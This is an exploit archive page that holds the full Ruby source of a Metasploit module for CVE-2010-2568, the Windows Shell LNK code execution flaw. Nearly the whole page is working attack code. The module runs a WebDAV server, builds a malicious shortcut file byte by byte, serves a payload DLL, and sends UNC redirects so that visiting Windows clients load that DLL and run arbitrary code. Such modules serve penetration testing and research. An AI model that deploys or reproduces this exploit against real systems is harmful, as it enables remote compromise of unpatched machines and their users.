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Microsoft Windows Shell LNK Code Execution

Microsoft Windows Shell LNK Code Execution
Posted Jul 21, 2010
Authored by H D Moore, jduck | Site metasploit.com

This Metasploit module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL. This Metasploit module creates a WebDAV service that can be used to run an arbitrary payload when accessed as a UNC path.

tags | exploit, arbitrary
systems | windows
advisories | CVE-2010-2568
SHA-256 | 02b7a4d416053d7ead37976f6d7d16df09d4d947e59b569a8c904c94108c01af

Microsoft Windows Shell LNK Code Execution

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##
# $Id: ms10_xxx_windows_shell_lnk_execute.rb 9888 2010-07-20 19:54:56Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Shell LNK Code Execution',
'Description' => %q{
This module exploits a vulnerability in the handling of Windows
Shortcut files (.LNK) that contain an icon resource pointing to a
malicious DLL. This module creates a WebDAV service that can be used
to run an arbitrary payload when accessed as a UNC path.

},
'Author' =>
[
'hdm', # Module itself
'jduck', # WebDAV implementation
'B_H' # Clean LNK template
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9888 $',
'References' =>
[
['CVE', '2010-2568'],
['OSVDB', '66387'],
['URL', 'http://www.microsoft.com/technet/security/advisory/2286198.mspx'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ]
],
'DisclosureDate' => 'Jun 09 2010',
'DefaultTarget' => 0))

register_options(
[
OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]),
], self.class)

deregister_options('SSL', 'SSLVersion') # Just for now
end

def on_request_uri(cli, request)

case request.method
when 'OPTIONS'
process_options(cli, request)
when 'PROPFIND'
process_propfind(cli, request)
when 'GET'
process_get(cli, request)
else
print_error("Unexpected request method encountered: #{request.method}")
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end

end

def process_get(cli, request)

myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
webdav = "\\\\#{myhost}\\"

if (request.uri =~ /\.dll$/i)
print_status "Sending DLL payload #{cli.peerhost}:#{cli.peerport} ..."
return if ((p = regenerate_payload(cli)) == nil)

data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded)
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end

if (request.uri =~ /\.lnk$/i)
print_status "Sending LNK file to #{cli.peerhost}:#{cli.peerport} ..."
return if ((p = regenerate_payload(cli)) == nil)

data = generate_link("#{webdav}#{@exploit_base}\\#{@exploit_dll}")

send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end

print_status "Sending UNC redirect to #{cli.peerhost}:#{cli.peerport} ..."
resp = create_response(200, "OK")

resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=\\\\#{webdav}#{@exploit_base}\\"></head><body></body></html>|

resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end

#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request)
print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
headers = {
'MS-Author-Via' => 'DAV',
# 'DASL' => '<DAV:sql>',
# 'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
resp = create_response(207, "Multi-Status")
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end

#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request)
path = request.uri
print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
body = ''

my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
my_uri = "http://#{my_host}/"

if path =~ /\.dll$/i
# Response for the DLL
print_status("Sending DLL multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_dll}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
return
end

if path =~ /\.lnk$/i
# Response for the DLL
print_status("Sending DLL multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_lnk}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>shortcut</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
return
end

if path !~ /\/$/

if path.index(".")
print_status("Sending 404 for #{path} ...")
resp = create_response(404, "Not Found")
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
else
print_status("Sending 301 for #{path} ...")
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end

print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|


subdirectory = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|

files = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_dll}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_lnk}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>shortcut</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
if request["Depth"].to_i > 0
if path.scan("/").length < 2
body << subdirectory
else
body << files
end
end

body << "</D:multistatus>"

body.gsub!(/\t/, '')

# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end

def generate_link(unc)
[ 0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x14, 0x00, 0x1f, 0x00, 0xe0, 0x4f,
0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d, 0x14, 0x00, 0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a,
0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d, 0x0c, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack("C*") +
unc.unpack("C*").pack("v*") + "\x00\x00"
end

def exploit

myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']

@exploit_unc = "\\\\#{myhost}\\"
@exploit_base = rand_text_alpha(rand(8)+4)
@exploit_lnk = rand_text_alpha(rand(8)+4) + ".lnk"
@exploit_dll = rand_text_alpha(rand(8)+4) + ".dll"

if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
end

print_status("")
print_status("Send vulnerable clients to #{@exploit_unc}#{@exploit_base}\\")
print_status("")
super
end
end

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